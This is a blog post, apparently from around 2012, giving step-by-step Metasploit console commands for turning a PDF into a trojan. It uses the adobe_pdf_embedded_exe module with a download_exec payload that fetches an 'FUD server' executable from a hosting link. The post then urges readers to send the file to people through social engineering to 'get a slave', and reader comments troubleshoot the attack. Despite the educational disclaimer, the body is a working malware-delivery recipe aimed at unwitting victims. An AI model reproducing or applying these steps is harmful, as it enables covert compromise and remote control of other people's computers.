Infect a PDF file using METASPLOIT

Educational use only. This post was written in 2012–2013 for learning about security weaknesses. Use these techniques only on systems and networks you own or have explicit written permission to test. Unauthorised access is illegal under India's IT Act and similar laws worldwide. Some tools and methods here are now outdated.


This is how you an infect a pdf file using meatsploit:-

 Requirements: 

Metasploit, a PDF eBook and a FUD server.
Make your PDF file ready, 
upload your FUD server to a hosting service which provides direct download links,
 I would use Dropbox.

And make sure that you have installed Metasploit correctly!

Now we will infect the PDF file

1. Open up Metasploit console

2. Type this in the console:
use exploit/windows/fileformat/adobe_pdf_embedded_exe

3. Type this in the console:
set payload windows/download_exec

4. Type this in console:
set INFILENAME <location of your pdf to infect here>

EXAMPLE: set INFILENAME D:/example.pdf

5. Type this in console:
set url <direct download link to your fud server>
EXAMPLE: set url http://download.com/server.exe

6. Type this in console:
Exploit
(The infected PDF file will be in the same directory as the original and will be named “test.pdf”)

So now you have infected the pdf
Use social engineering skills, send it to diifferent people and when they download it
You get a slave 

TEAM HACKUP'S


— Ankur Mehta, Hackup's

Comments

  1. Hi Deepak, Thanks for this post
    I tried it but exe is not executing by opening test.pdf or original.pdf :(

    ReplyDelete
    Replies
    1. Hi Amit, would you tell which OS (BTr3 or Kali Linux) you are using and is Your Meta-spoilt Framework up to date?

      Delete

Post a Comment

Popular posts from this blog

How to Check if Your Email or Password Was Leaked (and What to Do Next)

Types of Hash & Encryption

Burp Suite Tutorial for Beginners: A QA Tester's First Web App Security Test